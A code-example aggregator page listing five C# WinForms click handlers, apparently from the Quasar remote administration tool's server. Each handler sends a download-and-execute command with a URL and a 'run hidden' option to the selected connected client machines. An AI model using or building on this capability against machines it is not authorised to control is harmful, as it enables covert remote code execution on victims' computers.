Ejemplo n.º 1
0
 private void ctxtWebFile_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     new Core.Packets.ServerPackets.DoDownloadAndExecute(DownloadAndExecute.URL,
                                                                         DownloadAndExecute.RunHidden).Execute(c);
                 }
             }
         }
     }
 }
Ejemplo n.º 2
0
 private void ctxtDownloadAndExecute_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (ListViewItem lvi in lstClients.SelectedItems)
                 {
                     Client c = (Client)lvi.Tag;
                     new Core.Packets.ServerPackets.DownloadAndExecute(DownloadAndExecute.URL, DownloadAndExecute.RunHidden).Execute(c);
                 }
             }
         }
     }
 }
Ejemplo n.º 3
0
 private void webFileToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     QuasarServer.writeLog("Executing File from Web: " + DownloadAndExecute.URL, c.Value.PCName);
                     new Core.Packets.ServerPackets.DoDownloadAndExecute(DownloadAndExecute.URL,
                                                                         DownloadAndExecute.RunHidden).Execute(c);
                 }
             }
         }
     }
 }
Ejemplo n.º 4
0
 private void webFileToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     c.Send(new DoDownloadAndExecute
                     {
                         Url       = frm.Url,
                         RunHidden = frm.Hidden
                     });
                 }
             }
         }
     }
 }
Ejemplo n.º 5
0
 private void ctxtWebFile_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     new Core.Packets.ServerPackets.DoDownloadAndExecute(DownloadAndExecute.URL,
                         DownloadAndExecute.RunHidden).Execute(c);
                 }
             }
         }
     }
 }